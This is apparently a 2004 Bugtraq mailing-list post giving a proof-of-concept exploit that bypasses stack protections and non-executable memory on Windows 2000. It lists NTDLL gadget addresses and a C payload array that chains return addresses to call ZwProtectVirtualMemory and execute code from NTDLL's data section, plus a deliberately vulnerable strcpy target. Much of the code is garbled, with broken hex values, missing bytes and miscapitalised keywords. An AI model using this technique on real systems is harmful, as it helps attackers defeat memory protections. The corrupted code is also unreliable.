------------------------------------------------------------
From: <vallez@gmail.com>
To: bugtraq@securityfocus.com
Subject: avoiding stackguard
Date: 18 Oct 2004 19:16:24-0000
Hi,
Im posting here a manner for avoiding stackguard. shellcode without zeros.
/*************************************** ************************/
/* Shellcode avoiding stack protections sample -------- vallez/29A */
/*************************************** ************************/
/*
All we have listened about stack protections. Security Products are protecting stacks of code executed there. New
Hardware too, that will not let you to execute code in a not executable memory (amd64 for example ).
Doing shellcodes avoiding this fact is not very complex, as I will show with this small sample.
The idea is to use pieces of code of DLLs for example. In this Code Im using pieces of code of NTDLL for doing my
Purposes. How? Easy, with the stack overflow we will leave in the stack RET addresses for conduction our thread
To code in Ntdll. dll. Exactly we are using these codes in Ntdll:
Bytes -------------------------------------------------------------------------------------------
. 78462fdf: AB stosd
. 78462fe0: 5f pop EDI
. 78462fe1: c20400 retn 00004.
Bytes -------------------------------------------------------------------------------------------
. 784635ec: 8bc6 mov eax, ESI
. 784635ee: 5f pop EDI
. 784635ef: 5E pop ESI
. 784635f0: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 7849da92: 0fc8 bswap eax
. 7849da94: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 784680da: cd2e int 02e
. 784680dc: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 784 afaad: Pop eax
Retn
Bytes -------------------------------------------------------------------------------------------
. 7846bbe8: Pop ECx
Retn
Bytes -------------------------------------------------------------------------------------------
. 784633af: Sub eax, ECx
SAR eax, 1
Dec eax
Retn
Bytes -------------------------------------------------------------------------------------------
. 78466b22: Sub eax, ECx
Pop EDI
Pop ESI
Pop EBX
Retn C
Bytes -------------------------------------------------------------------------------------------
. 78499442: Pop edX
Retn
Bytes -------------------------------------------------------------------------------------------
*/
/*
This sample will work with NTDLL version: 5.0.2195.6899. The Code shocould be compiled
Visual Studio 6.0 in debug and default options for the project. (really, only open
. C with Visual Studio and F7, and yes, yes...
*/
# Include <stdio. h>
# Define debugz
# Ifdef debugz
/*
For debugging we have activated debugz for giving the shellcode directly
Func (), but this shellcode cocould go perfectly as argv [1]
*/
Char exploit [] =
{
'A ',
'A ',
'A ',
'A ',
0xad, 0xfa, 0x4a, 0x78, // Here We Are overwriting ret eip func () goto pop eax/retn
0x90,0x90,0x90,0x90, // This NOPs are part of the code that we will dump to. Data of NTDLL eax = 0x90909090
0xe0, 0x2f, 0x46, 0x78, // goto pop EDI/retn4
0x78462121x21, 0x4b, 0x78, // EDI = 0 x
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
'A', // trash for retn4
0x21 + 4, 0x21, 0x4b, 0x78, // next part of NTDLL. data where we will write our code
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0x90,0x90,0x90,0x90, // This NOPs are part of the code that we will dump to. Data of NTDLL
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
0x21 + 8, 0x21, 0x4b, 0x78, // next part of NTDLL. data where we will write our code
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0x90,0x90,0x90, 0xcc, // This NOPs are part of the code that we will dump to. Data of NTDLL
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
// Start with Parameters
// Now we shoshould give execution access to. Data
// Zwvirtualprotectmemory (0 xffffffff, 0x784b2121, 0x000000ff, 0x00000040, 0x784b2121 + 0x70 );
0x21 + 0x30, 0x21, 0x4b, 0x78, // next part of NTDLL. data where we will write our code
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0xff, 0xff, 0xff, 0xff, // parameters for zwvirtualprotectmemory. This process, 0xffffffff.
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
0x21 + 0x34,0x21, 0x4b, 0x78, // next part of NTDLL. data where we will write our code
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0x21 + 0x58,0x21, 0x4b, 0x78, // parameters for zwvirtualprotectmemory. ADDR of variable keeping ADDR of MEM
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
0x21 + 0x58,0x21, 0x4b, 0x78, // we must write here the ADDR of memory that we want to do executable
0xad, 0xfa, 0x4a, 0x78, // goto pop eax = 0x784b2121
'A', // trash for retn 4
0x21,0x21, 0x4b, 0x78, // For poping to eax
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
'A', // trash for EDI
// The next parameter has zeros, So we cant have it in shellcode. We will get in eax = 0x00000040
0xad, 0xfa, 0x4a, 0x78, // goto pop eax = 0 xffffffff
'A', // trash for retn 4
0xff, 0xff, 0xff, 0xff,
0xe8, 0xbb, 0x46, 0x78, // goto pop ECx = 0 xffffffbf
0xff, 0xff, 0xff, 0xbf,
0x22, 0x6b, 0x46,0x78, // goto sub eax, ECx/pop EDI/pop ESI/pop EBX/retn C
0x21 + 0x3c, 0x21, 0x4b, 0x78, // other ADDR in. Data
'A ',
'A ',
0x92, 0xda, 0x49,0x78, // goto bswap eax, retn
'A ',
'A ',
'A ',
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
// Eax = 0x00000040 EDI = next ADDR we will write 0x40, flags
0x21 + 0x54,0x21, 0x4b, 0x78, // other ADDR in. Data
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
'A ',
0x21 + 0x40, 0x21, 0x4b, 0x78, // next part of NTDLL. data where we will write Params
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0x21 + 0x50, 0x21, 0x4b, 0x78, // old protect returned as IO Param in zwvirtualprotectmemory
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
0x21 + 0x38,0x21, 0x4b, 0x78, // other part to write, in this case the ADDR of the variable storing size for API
0xad, 0xfa, 0x4a, 0x78, // goto pop eax/retn
'A ',
0x21 + 0x54,0x21, 0x4b, 0x78, // ADDR where size is stored, poped with Pop eax
0xdf, 0x2f, 0x46, 0x78, // goto stosd/pop EDI/retn 4
'A', // trash for poping to EDI
// Now we must call int 2E with eax = 0x77 and EDX = 0x784b2151
0xad, 0xfa, 0x4a, 0x78, // goto pop eax = 0 xffffffff
'A', // trash
0xff, 0xff, 0xff, 0xff,
0xe8, 0xbb, 0x46, 0x78, // goto pop ECx = 0xffffff88
0xff, 0xff, 0xff, 0x88,
0x22, 0x6b, 0x46,0x78, // goto sub eax, ECx/pop EDI/pop ESI/pop EBX/retn C
'A ',
'A ',
'A ',
0x78, // goto pop edX, retn
'A ',
'A ',
'A ',
0x21 + 0x30, 0x21, 0x4b, 0x78, // pop to edX address of Params for zwvirtualprotectmemory
0x92, 0xda, 0x49,0x78, // goto bswap eax, retn
// Eax = 0x77 (service ID) edX-> Params
0xda, 0x80, 0 x, 0x78, // goto int 2E, retn
0x21,0x21, 0x4b, 0x78, // We have copied all the code that we need, so we jump that code in. Data of NTDLL.
};
Char * pexploit [2] = {exploit, exploit };
# Endif
Void func (INT argc, char ** argv)
{
Char buffer [30];
If (argc> 1)
{
Strcpy (buffer, argv [1]);
}
}
Void main (INT argc, char ** argv)
{
# Ifndef debugz
Func (argc, argv );
# Else
Func (argc, pexploit );
# Endif
}
/*
This is a example of a possible shellcode For WinNT with NTDLL. dll version: 5.0.2195.6899.
Its only a proof of concept about how shellcodes cocould avoid stack protections.
This shellcode is not executed in the stack, however it has in the stack the useful values
Conducting the thread to NTDLL code and forcing this code to write executable code
Ntdll. Data section. If today not, in the future all not executable memory will be protected
Against Execution, so we call zwprotectvirtualmemory for setting. Data zone where we have writed
As executable (For this purpose we will dump parameters of the API to. Data, in other part,
And then pointing edX to that parameters and calling int 2E with eax = 0x77, the service ID.
*/
/*
Parts of NTDLL:
Bytes -------------------------------------------------------------------------------------------
. 78462fdf: AB stosd
. 78462fe0: 5f pop EDI
. 78462fe1: c20400 retn 00004.
Bytes -------------------------------------------------------------------------------------------
. 784635ec: 8bc6 mov eax, ESI
. 784635ee: 5f pop EDI
. 784635ef: 5E pop ESI
. 784635f0: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 7849da92: 0fc8 bswap eax
. 7849da94: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 784680da: cd2e int 02e
. 784680dc: C3 retn
Bytes -------------------------------------------------------------------------------------------
. 784 afaad: Pop eax
Retn
Bytes -------------------------------------------------------------------------------------------
. 7846bbe8: Pop ECx
Retn
Bytes -------------------------------------------------------------------------------------------
. 784633af: Sub eax, ECx
SAR eax, 1
Dec eax
Retn
Bytes -------------------------------------------------------------------------------------------
. 78466b22: Sub eax, ECx
Pop EDI
Pop ESI
Pop EBX
Retn C
Bytes -------------------------------------------------------------------------------------------
. 78499442: Pop edX
Retn
Bytes -------------------------------------------------------------------------------------------
. Data (NTDLL. dll) 784b0000 --- for copying the code there.
Number name duplicate size RVA physsize offset flag-
1. Text 00045cab 00001000 00045e00 00000400 60000020
2 ecode 00004371 00047000 00004400 00046200
3 page found 3feb 0004c000 00004000 0004a600 60000020
4. Data 20172d84 00050000 00002200 0004e600 c0000040
5. rsrc 0002d000 00053000 0002c400 00050800 40000040
6. reloc 00002010 00080000 00002200 0007cc00 42000040
Bytes -------------------------------------------------------------------------------------------
Info of my NTDLL:
----------------
Version: 5.0.2195.6899
Count of sections 6? Machine intel386
Symbol table 00000000 [00000000]? Wed Mar 24 03:17:14 2004
Size of optional Header 00e0? Magic optional Header 010b
Linker version 5.12? OS Version 5.00
Image Version 5.00? Subsystem version 4.00
Entry Point 00000000? Size of code 0004e200
Size of init data 00030800? Size of uninit data 00000000.
Size of image 00083000? Size of headers 00000400
Base of code 00001000? Base of Data 0004e000
Image Base 78460000? Subsystem windows char
Section alignment 00001000? File alignment 00000200
Stack 00040000/00001000? Heap 1, 00100000/00001000
Checksum 00082a23? Number of directories 16
*/
------------------------------------------------------------